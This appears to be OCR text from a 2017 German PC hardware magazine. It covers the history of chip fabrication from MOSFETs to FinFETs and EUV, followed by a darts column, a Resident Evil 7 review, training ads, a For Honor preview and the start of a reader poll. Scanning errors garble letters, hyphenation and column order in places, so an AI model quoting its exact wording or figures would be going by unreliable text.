Field Effect Transistors” oder einfach kurz: MOSFETs. Die Bezeichnung MOSFET 
wurde aber auch für andere Materialien wie dotiertes Polysilizium beibehalten. 
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und Schnittstellen für die Ein- und 
Ausgabe ein noch höheres Integra- 
tionsniveau bietet. Der Hersteller 
vermarktet den Chip aber erst 1974 
als eigenständiges Produkt. 


Bild: Intel 


300-mm-Wafer bleiben wohl noch 
viele Jahre das Maß der Dinge, 
die Industrie scheut den Umstieg 
auf 450 mm. 


Der 4004 basiert auf P-Kanal- 
Metalloxid-Halbleiter-Feldeffek- 
(P-MOSFETs) Der 
Namensbestandteil P-Kanal weist 
darauf hin, dass die Leitfähigkeit 
zwischen Quelle (Source) und 
Abfluss (Drain) des Bauteils auf 
positiver Ladung, also eigent- 
lich einem Mangel negativ 
geladener Elektronen (Ló- 
cher/Defektelektronen), 
basiert. 


transistoren 


Beim 8080 setzt In- 
tel 1974 auf einen N- 
Kanal-MOSFET. Bei 
diesem МОЅЕЕТ-Тур 
sind die Dotierungen 
für das Silizium-Substrat 
und den Insel für Source 
und Drain vertauscht, die 
Leitfáhigkeit basiert also auf 
negativer Ladung. Da sich die nicht 
gebundenen Elektronen rascher 
durch das Material bewegen als 
durch Elektronenmangel erzeugte 
Löcher, schalten N-Kanal-MOSFETs 
schneller. 


P- oder N-Kanal? Beide! 

Mit dem 80386 erhält 1985 die 
CMOS-Logik in der Welt der x86- 
Prozessoren Einzug. Hinter dem 
Begriff „Complementary metal- 
oxide-semiconductor“ verbirgt sich 
ein Halbleiterbauelement, das so- 
wohl aus einem P-Kanal- als auch 
einem N-Kanal-MOSFET besteht. 
Die Anzahl der benötigten Transis- 
toren steigt dadurch zwar, N- und 
P-Kanal-MOSFETs ergänzen 
in ihrer Arbeitsweise aber für eine 
logische Schaltung ideal: Der P-Ka- 
nal-MOSFFT stellt den sogenanten 
Pull-Up-Pfad dar und leitet bei einer 
niedrigen Gate-Spannung, der N-Ka- 
nal-MOSFFT ist der Pull-Down-Pfad 
und leitet bei hoher Gate-Spannung. 
Schnellere Schaltvorgänge 
möglich, außerdem sinkt der Strom- 
bedarf mit CMOS-Logik erheblich 
und fällt lediglich beim Wechseln 
des Betriebszustands hoch aus. 


sich 


sind 


Im September 1997 gibt IBM be- 
kannt, mit den ersten kupferba- 
sierten Prozessoren in die Massen- 


fertigung gehen zu können und 
verschickt ein Jahr später die ers- 
ten Power PC 740/750 in der fort- 
geschrittenen Produktionsweise. 
Im x86-Markt debütieren 1999 der 
AMD Athlon und Intels Pentium 
HI (Coppermine), deren Leiter- 
bahnen ebenfalls aus Kupfer be- 
stehen. Kupfer punktet gegenüber 
Aluminium durch einen deutlich 
kleineren elektrischen Widerstand. 
Durch den Einsatz des rötlichen 
Metalls lässt sich die Verlustleis- 
tung und die Anfälligkeit gegen- 
über Elektromigration reduzieren. 
Die Halbleiterindustrie setzte bis 
zu diesem Zeitpunkt allerdings auf 
Aluminium, da Kupfer schwieriger 
zu verarbeiten ist. Es neigt dazu, 
durch Oxide und ähnlich aufgebau- 
te Dielektrika zu diffundieren. Die- 
se unerwünschte Kontamination 
kann durch eine Einkapselung des 
Kupfers vermieden werden. 


Low-K-Alternativen 
Der nächste Schritt sind Low-K- 
Dielektrika. Hierbei handelt es 


Technologieknoten bei Mikroprozessoren (mit Beispielen von Intel) 


Jahr der ersten Anwendung des Technologieknotens 
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Bemerkungen: Obwohl Strukturverkleinerungen den Fertigungsaufwand immer weiter erhöhen, gelingt es seit Jahrzehnten, etwa im Abstand von 2-3 Jahren einen feineren Technologieknoten zu erreichen. 
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sich um Stoffe, die eine geringere 
elektrische Konstante als Silizium- 
Dioxid mit einem Wert von 3,9 
aufweisen, was die Durchlässigkeit 
eines Materials für elektrische Fel- 
der beschreibt. Für geringe Signal- 
verzögerungen ist ein kleiner Wert 
für die Isolatorschichten zwischen 
den einzelnen Leiterbahnen besser. 
2002 realisiert Intel beim Pentium 
4 (Northwood) dank Fluor-Dotie- 
rung in Siliziumdioxid eine elektri- 
sche Konstante von 3,5. Bei späte- 
ren Pentium-4-Modellen und dem 
Athlon 64 kommt Kohlenstoff-do- 
tiertes Silizium-Dioxid zum Einsatz, 
mit dem sich auf der Verdrahtungs- 
ebene K-Werte unter 3,0 erzielen 
Sogenannte Ultra-Low-K- 
Dielektrika weisen eine elektrische 


lassen. 


Konstante von weniger als 2,4 auf. 
In diese Bereiche stößt man heute 
mit porösen Stoffen vor, bei denen 
Low-K-Dielektrika mit Mikroporen 
kombiniert werden. 


AMD nutzt für die K8-Architektur 
des 2003 debütierten Athlon 64 


erstmals die Technologie Silicon- 
on-Insulator (SOD, die zuvor etwa 
schon von IBM für Power-PC-Pro- 
zessoren und erstmals 1978 für eine 
funktionstüchtige Schaltung ver- 
wendet wurde. Anstatt die Transis- 
toren direkt auf dem Silizium-Wafer 
zu fertigen, kommt zur Verringe- 
rung unerwünschter Ladungsbewe- 
gungen eine Isolationsschicht zwi- 
schen dem Ladungskanal und dem 
Wafer-Substrat zum Einsatz, was 


bei korrekter Implementierung 
die Schaltgeschwindigkeit, Leis- 
tungsaufnahme und Anfälligkeit 


gegenüber ionisierender Strahlung 
minimiert. SOI lässt sich relativ kos- 
tengünstig teilweise verarmt (par- 
tially depleted) realisieren, wobei 
etwas überflüssiges Silizium-Sub- 
strat zwischen Ladungskanal und 
Isolator verbleibt, das Ladungen 
aufnehmen kann. Für bessere elek- 
trische Eigenschaften und einen 
vollständig verarmten Aufbau (fully 
depleted) ohne verbleibendes Sili- 
zium sind besonders dünne Wafer 
erforderlich, welche den gesamten 


Herstellungsprozess Intel zufolge 
um rund 10 Prozent verteuern. 


Seit 2004 nutzen AMD und Intel ge- 
strecktes Silizium, das sich durch das 
Auftragen einer Silizium-Germani- 
um-Schicht auf Silizium bilden lässt. 
An der Kontaktstelle zwischen bei- 
den Schichten erhöhen sich die Ab- 
stände innerhalb des Siliziumgitters 
aufgrund der höheren Gitterkons- 
tante der Silizium-Germanium-Lage. 
Aufgrund der größeren Distanz der 
Siliziumatome voneinander erhöht 
sich die elektrische Leitfähigkeit, 
was schneller schaltende Transis- 
toren durch einen beschleunigten 
Ladungsaustausch zwischen Source 
und Drain ermöglicht. 


Zeit für High K 

Mitte der 2000er-Jahre entwickelt 
sich das seit Jahrzehnten verwende- 
te Silizium-Dioxid als Isolatormateri- 
alan den Gates von Transistoren zum 
Problem. Durch die immer weiter 
fortgeschrittene Miniaturisierung 
ist die Isolationsschicht zwischen 


Gate-Elektrode und dem Kanalge- 
biet mittlerweile auf wenige Atom- 
lagen geschrumpft. Bei derartig 
kleinen Strukturen wirken quanten- 
mechanische Phänomene wie der 
Tunneleffekt: Elementarteilchen 
gelangen durch den Isolator, die Fol- 
ge sind unerwünschte Leckströme. 
Für den 65-nm-Technologieknoten 
der ersten Core-2-Prozessoren im 
Jahr 2006 verzichtet Intel daher auf 
eine Reduktion der Schichtdicke des 
Isolators und erarbeitet eine Lösung 
für die ab 2008 vertriebenen und im 
45-nm-Verfahren gefertigten Pen- 
ryn-Chips: Bei der High-K+Metal- 
Gate-Technik kommt eine Substanz 
wie Hafniumdioxid zum Einsatz, das 
eine höhere elektrische Konstante 
als Siliziumdioxid aufweist. Es wird 
zwischen Gate-Elektrode und dem 
Kanalgebiet positioniert und redu- 
ziert die Leckströme am Gate durch 
den abgeschwächten Tunneleffekt 
dramatisch: Beim 45-nm-Prozess 
von Intel liegt die Reduktion an N- 
Kanal-MOSFETs bei Faktor 25, bei 
P-Kanal-MOSFETs sogar bei Faktor 


Transistoranzahl bei Mikroprozessoren (mit Beispielen von AMD und Intel) 
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Bemerkungen: Während іп den frühen Mikroprozessoren nur wenige tausende Transistoren steckten, sind іп aktuellen Produkten bereits einige Milliarden verbaut. 
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1.000. Ein typischer Nachteil der 
meisten Tricks zur Verringerung der 
Strukturgröße: Der Fertigungspro- 
zess hat sich durch die Einführung 
von High-K-Dieelektrika am Gate 
verkompliziert. 


Flossen hoch 

Mit immer kleineren Strukturgrö- 
ßen sinkt der von einem Gate auf 
den Leitungskanal ausgeübte Ein- 
fluss, da ein einzelnes Gate im Ver- 
hältnis zum Substrat immer kleiner 
wird. Eine Lösung dieses Problems 
besteht darin, die über viele Jahr- 
zehnte perfektionierte planare Bau- 
weise eines Feldeffekttransistors 
aufzugeben. Fin-FETs sind Feldef- 
fekttransistoren, bei denen sich der 


Source- und Drain-Bereich nicht un- 
terhalb des Gates befindet, sondern 
über das Substrat hinaussteht und 
das Gate im 90-Grad-Winkel kreuzt. 
Wie das Bild unten zeigt, ähneln die- 
se schmalen Gebilde Flossen (engl.: 
Fins) - daher der Name. 


Das Gate umgibt den Ladungskanal 
zwischen Source und Drain bei die- 
ser Bauweise von drei Seiten und 
kann daher viel besser als in der 
planaren Ausführung auf ihn ein- 
wirken. Der Lohn der Mühe gegen- 
über Gates im planaren Aufbau sind 
unter anderem eine (bei niedrigen 
Spannungen umso stärker ausge- 
prägte) Verringerung der Schalt- 
zeit, weniger Leckströme und eine 


ef 
uM 


“Д Drain 


Bei Fin-Feldeffekttransistoren umschlieBt das Gate den Leitungskanal zwischen Drain 
und Source von mehreren Seiten. Namensgebend sind die grauen „Flossen” (Fins). 


Anfang Januar zeigte Intel ein 2-in-1-Convertible mit einer 10-nm-CPU. Cannon Lake 
soll Ende 2017 erscheinen — vermutlich zuerst für Notebooks mit 4,5 bis 28 Watt TDP. 
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bessere Ausnutzung der Die-Fläche. 
Intel nutzt nach diesem Prinzip 
konstruierte sogenannte Tri-Gate- 
Transistoren erstmals bei den 2012 
debütierten und im 22-nm-Verfah- 
ren hergestellten Ivy-Bridge-CPUs. 
Spätestens seit dem Aufkommen 
von Fin-FETs lassen sich die Ferti- 
gungstechniken von Chipfertigern 
anhand eines einzelnen Nanometer- 
Werts nicht mehr fair vergleichen, 
da sich die Größe einer dreidimen- 
sionale Struktur damit nicht prázise 
erfassen lässt. 


Unter 10 nm in Aussicht 

Für die Realisierung von Technolo- 
gieknoten kleiner als 10 Nanometer 
gilt Gate All Around (GAA) als eine 
Schlüsseltechnologie. Dabei wird 
die UmschliefSung des Ladungska- 
nals noch weiter getrieben als bei 
Tri-Gate-Transistoren und umfasst 
alle Seiten. Der Ladungsaustausch 
erfolgt in bisher demonstrierten 
Umsetzungen über Silizium-Nano- 
kabel. 


Eine wichtige Rolle kónnte zu- 
künftig außerdem die Verbindung 
Indiumgalliumarsenid spielen. 
Galliumarsenid ist aufgrund seiner 
gegenüber Silizium erhóhten Elek- 
tronenmobilität für die Mikropro- 
zessorfertigung zwar grundsätzlich 
interessant, doch da die Löcher/De- 
fektelektronen langsamer wandern, 
ergibt sich daraus nicht zwingend 
ein Geschwindigkeitsvorteil. Bei 
der CMOS-Logik kommen schließ- 
lich sowohl N-Kanal- als auch P- 
Kanal-MOSFETs zum Einsatz, in 
der Praxis limitiert die Beweglich- 
keit der Löcher/Defektelektronen. 
Mit Indiumgalliumarsenid sind in 
beiden Bereichen deutliche Ver- 
besserungen gegenüber Silizium 
möglich, abhängig von der Zusam- 
mensetzung der Legierung. Erst- 
mals könnte das Halbleitermaterial 
beim 7-nm-Technologieknoten zum 
Einsatz kommen. 


Stillstand bei Wafer-Größe 

Ab 1971 wurden Mikroprozessoren 
wie der Intel 4004 auf Wafern mit ei- 
nem Durchmesser von 50,8 Millime- 
tern gefertigt, die bis heute üblichen 
300-mm-Wafer gibt es seit 1997. Je 
größer der Wafer, desto mehr Chips 
lassen sich (bei gleicher Die-Fläche) 
auf ihm unterbringen. Da bei der 
Fertigung für jeden Wafer zahlrei- 
che Arbeitsschritte anfallen, lassen 
sich die Stückkosten senken, wenn 


mehr Dies in einem Schritt bearbei- 
tet werden können. Seit über zehn 
Jahren existieren daher Pläne für 
eine Anhebung der Wafer-Größe auf 
450 Millimeter, doch auf absehbare 
Zeit werden diese voraussichtlich 
nicht realisiert. Technisch wäre die- 
ser Schritt möglich, darin sind sich 
Branchengrößen wie Intel, TSMC, 
Globalfoundries, IBM und Samsung 
einig. Gegen den Umstieg spre- 
chen aber wirtschaftliche Gründe, 
denn die Fertiger lasten lieber ihre 
Anlagen auf etablierter 300-mm- 
Basis aus, als eine teure Umrüstung 
auf 450-mm-Wafer durchzuführen, 
die sich womöglich nicht rechnet. 
Legt die Nachfrage nach Halbleiter- 
produkten in den nächsten Jahren 
nicht stark zu, könnte der Umstieg 
auf 450-mm-Wafer noch mehr als 10 
Jahre dauern. 


Etwas früher, möglicherweise bei 
7-nm-Chips, wahrscheinlich aber 
erst für 5-nm-Produkte, steht der 
Umstieg auf Next-Generation- 
Lithografie an. Klar ist natürlich: 
Je kleiner die gewünschten Struk- 
turen auf dem Wafer, desto feiner 
muss die Belichtung über eine Fo- 
tomaske erfolgen, damit anschlie- 
Bend  Bearbeitungsschritte 
Ätzen korrekt durchgeführt wer- 
den können. Aktuell läuft die Seri- 


wie 


enfertigung mit Argonfluid-Lasern 
und 193 nm Wellenlänge. Über ein 
Linsensystem wird die Abbildung 
einer Fotomaske stark verkleinert 
(Projektionsbelichtung) oder gar 
durch eine Flüssigkeit hindurch ge- 
brochen (Immersionslithografie). 
2008 präsentierten IBM und AMD 
die erste vollständige Belichtung 
eines Wafers bei einer Wellenlänge 
von 13,5 nm mit extrem ultravio- 
letter Strahlung (EUV). Momentan 
lassen sich mit EUV-Maschinen aber 
noch nicht so viele Wafer pro Tag 
bearbeiten wie mit konventioneller 
Fotolithografie. (sw) 


Fazit Нагйшаге 


Mikroprozessorfertigung 
Forschung und darauf basierende Op- 
timierungen der genutzten Materialien 
und Fertigung sind seit Jahrzehnten 
die Grundlagen, um die Geschwindig- 
keit und Komplexität von Mikroprozes- 
soren zu erhöhen. Die Physik lässt sich 
zwar nicht aushebeln, aber noch gibt 
es Spielräume, um die Strukturen in 
Mikrochips weiter zu verkleinern. 
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Frank Stówer 
Fachbereich Analog-Spiele 
E-Mail: fs@pcgh.de 


Kommentar 


Spielen Sie statt digital ab und zu auch ana- 
log? Bei mir jedenfalls kommt das oft vor. 


Normalerweise berichte ich hier über PC- oder Vi- 
deospiele; ab und zu auch über Hardware/Periphe- 
rie, die mit der Gaming-Sparte im Zusammenhang 
steht. Doch anstatt mich darüber zu echauffieren, 
dass Chris Roberts Star Citizen auch 2017 nicht 
fertig bekommt oder das Spielen am TV im Wohn- 
zimmer mit meinem Spiele-Mini zu loben, will ich 
heute einmal über etwas ganz anderes berichten. 
Zugegeben, es geht natürlich auch ums Spielen, 
allerdings um die komplett analoge Variante. Seit 
einem halben Jahr spiele ich wieder mit großer 
Begeisterung Steel Darts und merke, dass ich in 
diesem Spiel/Präzisionssport immer mehr Skills 
entwickle. Interessanterweise habe ich schon ein- 
mal vor fast 20 Jahren die 23 Gramm schweren 
Darts auf das Sisal-Board geworfen und bin sogar 
einem Verein beigetreten. Dann tauschte ich leider 
das analoge Spielvergnügen gegen das digitale 
Computerspiel ein und zielte fortan auf virtuelle 
Kontrahenten, nicht aber auf eine Dartscheibe. 
Doch die Begeisterung für das analoge Dart-Spiel 
ist wieder voll erwacht und ich merke, dass mein 
Average steigt. Auf jeden Fall ist Darts eine tolle 
analoge Abwechslung im digitalen (Arbeits-)Alltag. 


Hardiuare 


DAS HARDWARE-MAGAZIN FÜR PC-SPIELER. 
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* Quelle: Saturn, Top 20 vom 14.01.2017 


piele & Software 


Resident Evil 7: Schrecklich gut? 


Mit dem siebten Teil móchte sich Resident Evil wie- 
der neu erfinden. Das ist gelungen, denn wer sich 
ordentlich gruseln will, der wird hier gut bedient. 


ei Resident Evil 7 gehen Sie mit den Prota- 
B gonisten Ethan, Mitglied der berühmten 
S.T.A.R.S-Einheit, in der Ego-Perspektive auf die 
Suche nach seiner Freundin Mia. Diese befindet 
sich in den Fängen einer Familie irrer und ekel- 
hafter Monster und es ist Ethans Mission die 
Dame zu retten. Das ist die grundlegende Ge- 
schichte von Resident Evil 7, die natürlich typi- 
sche Genre-Klischees enthält. Die Hintergründe 
zur Story findet der Spieler im Laufe von unge- 
fähr 10 Stunden heraus. Obwohl sich die Suche 
nach versteckten Extras lohnt, löst man das Rätsel 
um das Verschwinden der Liebsten in acht Stun- 
den oder weniger, wenn einen Sammelobjekte 
und Eastereggs kalt lassen. Profis dürfen sich spä- 
ter am Irrenhaus-Schwierigkeitsgrad versuchen. 


Die Handlung verliert ab der zweiten Hälfte ein 
wenig an Spannung, der gute Spielfluss bleibt 
aber trotzdem erhalten. Wie man es von einem 
Grusel-Shooter gewohnt ist, überzeugt auch Re- 
sident Evil 7 mit seiner packenden Atmosphäre, 
für die sowohl die schmucken Licht-/Schattenef- 
fekte als auch die toll gerenderten Boss-Gegner 
und das gelungene Level-Design verantwortlich 
sind. Resident Evil 7 steht zwar in der Serie für 


sich, hält aber gewisse Traditionen der früheren 
Spiele in Ehren. Dazu gehören Dinge wie durch 
makabre Mechaniken verschlossene Türen oder 
das Mixen von Tränken aus Kräutern. Insgesamt 
bietet Resident Evil 7 eine gute Mischung aus 
Tradition und Moderne. Es gibt aber auch einige 
Kritikpunkte: Das Inventarsystem ist umständ- 
lich, die Schauplätze in der zweiten Spielhälfte 
sind ein wenig langweilig und Hauptchrakter 
Ethan handelt oft wenig nachvollziehbar. Dazu 
kommt zu wenig Vielfalt bei den Gegnern so- 
wie ein paar müde Klischees innerhalb der Er- 
zählung. Davon abgesehen präsentiert RE7 die 
Wurzeln der Serie in einem angemessenen, mo- 
dernen Gewand und verdient sich nach diesem 
Vorabtest eine Wertung von 1,70. (fs) 
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LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 


d 


mit Peer Heinlein, 
Heinlein Support GmbH 


m 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


Ё python 


Puppet Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 


NETWAYS GmbH 
mNETWAYsy /NPuppet 


Y 
f /ComputecAcademy 


IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


m Bleiben Sie trotz zeitlicher Engpässe 
B 


compufec 


MEDIA 


Effiziente BASH-Skripte 


` mit Klaus Knopper, 

Gründer der Knoppix-Distribution, 
KNOPPER.NET 

199 € 


Linux Linux Foundation 
L. FOUNDATION ШШШ 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — OpenStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
Sys4 AG 


[*] sys4 


Enterprise Experts 


www.computec-academy.de 
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For Honor - Preview 


Noch bevor die geschlossene Beta am 26. Januar startet, bekamen wir die Gelegenheit, For Honor 


anzuspielen und den für die PC-Version zuständigen Entwickler Blue Byte zu befragen. 


as technisch ansprechende 

Mittelalter-Spektakel For Ho- 
nor nähert sich dem Release. Wir 
bekamen ein weiteres Mal Gele- 
genheit, den Titel anzuspielen, und 
konnten uns außerdem mit dem 
zuständigen Producer Philipp Son- 
nefeld von Blue Byte unterhalten. 
Für das deutsche Studio ist die Ent- 
wicklung der PC-Version eine gro- 
ße Aufgabe, seit rund zwei Jahren 
ist das etwa 25-köpfige Team mit 
dieser Herausforderung betraut. 
Neben der Umsetzung der Steue- 
rung per Maus und Tastatur, die ge- 
genüber der gelungenen und intu- 
itiven Gamepad-Eingabe keinerlei 
Nachteile bringen soll, ist das Team 
aufserdem für die technischen As- 
pekte von For Honor zuständig. Als 
PC-Entwickler möchte Blue Byte 
bei der Umsetzung ganz beson- 
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ders glánzen und làsst für die PC- 
Fassung nicht nur einige exklusive 
Effekte einfließen, darunter etwa 
hochauflósendere Schatten oder 
hübsche Screen-Space-Reflections, 
sondern auch ein umfangreiches 
Optionsmenü, das eine Vielzahl 
an Individualisierungsmöglichkei- 
ten bieten soll. Außerdem erhält 
die PC-Version von For Honor 
Grafikschmankerl durch Nvidias 
Gameworks und obendrauf einen 
optionalen Direct-X-12-Pfad. Doch 
werfen wir zuerst einen Blick auf 
die verwendete Engine: 


Hammer und Amboss 

Es ist nicht unbedingt offenkundig 
erkennbar, doch For Honor nutzt 
die aus Assassin's Creed bekannte 
Anvil-Engine. Dabei handelt es sich 
allerdings um einen eigenständi- 


gen Entwicklungszweig (Branch) 
des Grafikmotors. Tatsächlich hat 
For Honor technisch mehr mit dem 
Taktik-Shooter Rainbow Six: Siege 
als mit den Assassinen-Abenteuern 
gemein. Betrachtet man die An- 
forderungen der verschiedenen 
Spielkonzepte, ist dieser Umstand 
nachvollziehbar: Weder For Honor 
noch Rainbow Six: Siege setzt auf 
ein Open-World-Szenario, sondern 
vielmehr auf kleine, dafür detail- 
liert ausgeschmückte Arenen. Der 
Anvil-Branch, der in For Honor Ver- 
wendung findet, setzt also einen 
etwas anderen Fokus. Der nahe 
Verwandtschaftsgrad der Branches 
erlaubt es indes, Verbesserungen, 
die in eine der Engine-Versionen 
eingeflossen sind, mit einem rela- 
tiv geringen Aufwand auch für den 
anderen umzusetzen. Zudem kón- 


nen die Entwickler auf bereits vor- 
handene und vertraute Software- 
Umgebungen und Tools setzen. Auf 
der letzten Seite dieses Artikels bie- 
ten wir eine kleine Übersicht der 
aktuellen Ubisoft-Engines. 


Schicke Optik 

For Honor macht optisch einen 
sehr guten Eindruck: Insbesonde- 
re die sehr detaillierten und per 
Motion-Matching-Technologie ani- 
mierten Figuren sehen klasse aus. 
Diese Technik erlaubt es, aus un- 
zàhligen Motion-Capturings mittels 
feiner Überblendungen außeror- 
dentlich flüssige und präzise Bewe- 
gungen zu realisieren. Die modular 
aufgebauten Figuren zeichnen sich 
außerdem durch einen sehr hohen 
Detailgrad, eine hochauflösende 
Texturierung sowie schicke dyna- 
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Trotz schicker Optik und teils dichten (NPC-)Getümmels sowie aufwendiger (Waffen-) 


Physik samt komplexer Kollisionsabfrage liefen die Testversionen bereits sehr gut. 


eine schicke Ausleuchtung sowie ansehnliche Effekte. 


mische Physikelemente wie Klei- 
dung und Accessoires aus. Für die 
Spielphysik kommt die Middleware 
Havok zum Einsatz. 


Gameworks, dynamische 
Auflösung und Direct X 12 
Doch nicht nur die Figuren sehen 
sehr schick aus, auch die Levelar- 
chitektur, Beleuchtung und Effekte 
können begeistern. Die einzelnen 
Arenen wirken sehr stimmig und 
überzeugen mit vielen kleinen 
Details, schmucken Aus- 
leuchtung und schicken Texturen, 
die dank PBR-Ansatz in den un- 
terschiedlichen Witterungs- und 
Beleuchtungsszenarien durch- 
wegs glaubwürdig rüberkommen. 


einer 


Dabei konnten wir bislang noch 
nicht einmal die maximale Grafik 
bestaunen, denn noch war das zu- 
sätzliche Eyecandy durch Nvidias 
Gameworks nicht implementiert. 
Auch sämtliche Screenshots in die- 
sem Artikel entstanden noch ohne 
die grafischen Extras. Auf die Frage, 
welche Effekte unterstützt werden, 
konnte man uns noch keine direkte 
Antwort geben, zur Zeit der Druck- 


www.pcgameshardware.de 


legung dieses Artikels war der 
Gameworks-Support noch nicht of- 
fiziell. Wir rechnen zumindest mit 
einer Unterstützung der PCSS- und 
eventuell der Nvidia-exklusiven 
HTFS-Schatten sowie der Umge- 
bungsverdeckung HBAO+. Eventu- 
ell kommen außerdem noch volu- 
metrische Effekte ähnlich des per 
Raymarching berechneten (und 
extrem leistungshungrigen) San- 
Francisco-Nebels aus Watch Dogs 2 
hinzu. Die Unterstützung von Nvi- 
dias Fotomodus Ansel halten wir 
außerdem für möglich. 


Eher unwahrscheinlich erscheint 
uns der Support von Nvidias tem- 
poraler Kantenglättung TXAA, 
denn For Honor nutzt bereits eine 
eigenständige Variante. Neben 
dieser bietet For Honor ein für 
PC-Spieler bislang eher selten an- 
gebotenes Feature: Die Auflösung 
kann auf Wunsch dynamisch ska- 
liert werden, um Leistung zu spa- 
ren. Diese Technik wird auf den 
Konsolen freizügig umgesetzt, um 
die Bildraten zu stabilisieren, ist 
auf dem PC allerdings noch nicht 
sehr weit verbreitet. Anders als 


ANGEL 


Einen besonderen Entwicklungsfokus haben offenkundig die detaillierten und toll 


animierten Charaktermodelle erhalten. 


auf den Konsolen funktioniert die 
Skalierung auf dem PC auch in die 
andere Richtung: Schalten Sie das 
in For Honor ebenfalls optiona- 
le Supersampling zu und nutzen 
Sie gleichzeitig die dynamische 
Skalierung, werden in Szenen, in 
denen ein (zuvor definierter) Leis- 
tungsüberschuss vorhanden ist, die 
Pixeldichte erhóht und die Optik 
verbessert. Auf Wunsch kónnen Sie 
die Auflósung aber natürlich auch 
von Hand festlegen und Super- 
sampling wie gewohnt nutzen. 


Die zusätzlichen  Grafikschman- 
kerl werden die Hardware-Anfor- 
derungen natürlich etwas in die 
Hóhe treiben, allerdings lief For 
Honor in den von uns angespielten 
Testversionen mit dem ,Extreme*- 
Preset bereits ausgesprochen gut. 
Dieses bietet mit hochauflósenden 
Schatten, den neuen Screen-Space- 
Reflections und einem hohen De- 
tailgrad eine den Konsolen wohl 
bereits deutlich überlegene Optik, 
sollte Einschátzungen 
nach jedoch aktuelle Mittelklasse- 
Grafikkarten in Full HD nicht über- 
fordern - jedenfalls solange keine 


unseren 


der eventuell sehr leistungshungri- 
gen Nvidia-Schmankerl zum Einsatz 
kommen. Um der Performance zu- 
mindest potenziell nochmals einen 
Schub zu verpassen, wird For Honor 
aufserdem einen Support für Direct 
X 12 erhalten. Allerdings wird die- 
ser nicht direkt zum Launch verfüg- 
bar sein, sondern die neue API erst 
spáter per Patch nachgereicht wer- 
den - dies entspricht leider dem 
mittlerweile gewohnten Ablauf. Zu 
unseren Fragen bezüglich der Por- 
tierung auf die neue API und De- 
tails zu eventuellen Schwierigkei- 
ten konnte man uns leider keinerlei 
Auskünfte geben, abgesehen von 
dem Umstand, dass Microsoft Blue 
Byte bei der Entwicklung zur Seite 
steht, die Tools verbessert wurden 
und sowohl AMD als auch Nvidia 
Know-how beisteuern. Der Mangel 
an Informationen zum Thema ist 
etwas enttäuschend, aber ebenfalls 
keine Besonderheit. Auch andere 
Studios geben sich bezüglich Direct 
X 12 sehr bedeckt. Wir werden der 
Performance aber selbstverstánd- 
lich ausführlich auf den Grund 
gehen, sobald wir eine Testversion 
erhalten. (pr) 
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Die aktuellen Ubisoft-Engines im Überblick 


Anvil 

Das erste Assassin's Creed war 

ein Technikfest. Die Anvil-Engine Disrupt 

machte auch im spielerisch 

deutlich besseren zweiten Teil eine 
Dunia tolle Figur und zeichnete große, 
Mit der Far-Cry-Marke übernahm lebendige Open-World-Szenarien 
Ubisoft auch die zugrunde liegende auf Bildschirme verzückter Spieler. 
Cry Engine. Diese wurde für Teil 2 
und 3 modernisiert, bekam einen 
stärkeren Open-World-Fokus sowie 
neue schicke Grafikeffekte und ist 


Das erste Watch Dogs war even- 
tuell wie AC: Unity optisch etwas 
zu ambitioniert und technisch 
durchwachsen. Jedoch ist die 
Disrupt-Engine potent und konnte 
modernisiert mit dem schicken 
Watch Dogs 2 überzeugen. 


H D Wis —— ` 


Anvil Next (Fox) 
Abgeleitet von Assassin's Creed 
entwickelte Ubisoft den Fox- 
Branch des Anvil-Next-Grafikmo- 
tors. Dieser setzt einen anderen 
technischen Fokus und kommt bei 
Rainbow Six: Siege und nun ver- 
bessert in For Honor zum Einsatz. 


Dunia 2 

Ab dem vierten Teil der Far-Cry- 
Reihe nannte sich die Engine Du- 
nia 2. Verbesserungen gegenüber 
dem Vorgänger werden insbeson- 
dere bei Beleuchtung und Effekten 
sichtbar. Mittlerweile wirkt die 
Technik ein wenig veraltet. 


аам 2 
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Bei der Spieleentwicklung setzt Ubisoft auf mehrere 
Engines gleichzeitig, die teils eine längere Entwick- 
lungsgeschichte hinter sich haben und teils für eine 
Spiele-Serie neu entwickelt wurden. Hier sehen Sie 
den aktuellen Engine-Stammbaum. 
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Anvil Next 

Mit Anvil Next machte die Engine 
den ersten größeren Entwicklungs- 
sprung. Sie wurde stark überarbei- 
tet und bot Spielern neue Game- 
play-Features wie Schiffsfahrten 
sowie topaktuelle DX11-Grafik 
samt tesselliertem Schnee. 


Anvil Next 2.0 

Unity leitete die aktuelle Gene- 
ration der Anvil-Engine ein. In 
Unity sorgte die optische Opulenz 
für staunende Spieleraugen, 


technische Macken jedoch auch für 


eine Menge Ärger. Der Nachfolger 
Syndicate wurde mit gereifter 
Technik sauber umgesetzt. 


Snowdrop 

Snowdrop ist aktuell wohl die mo- 
dernste Ubisoft-Engine und kann 
in The Division bestaunt werden. 
Dort zeigt sie beeindruckende 
grafische und leistungstechnische 
Fähigkeiten. Wahrscheinlich wer- 
den wir Snowdrop in zukünftigen 
Spielen wiedersehen. 
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Auf der Bühne: Hochkaratige Vertreter der Open-Source-Szene, u.a. 
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u SERVICE | Auswertung Leserwahl 2016 


s ist eine lieb gewonnene Tra- 

dition, die sowohl Leser und 
Redakteure als auch Hersteller je- 
des Jahr aufs Neue in ihren Bann 
zieht: die PCGH-Leserwahl, bei der 
die besten Innovationen, die span- 
nendsten Produkte, die kreativsten 
Hersteller und die fesselndsten PC- 
Spiele ausgezeichnet werden. Zum 
Ende des Jahres 2016 fragten wir 
Sie: Welche Hersteller genießen Ihr 


Grafikkarten 


— 


Unsere Leser haben gewählt: Das sind die 
Hersteller und Produkte des Jahres 2016. 


Vertrauen, welches Produkt hat Sie 
in diesem Jahr am meisten begeis- 
tert und welche PC-Spiele sind ihr 
liebsten? 


Die Auswertung 

Tausende Leser der PC Games 
Hardware haben auf www.pcgh. 
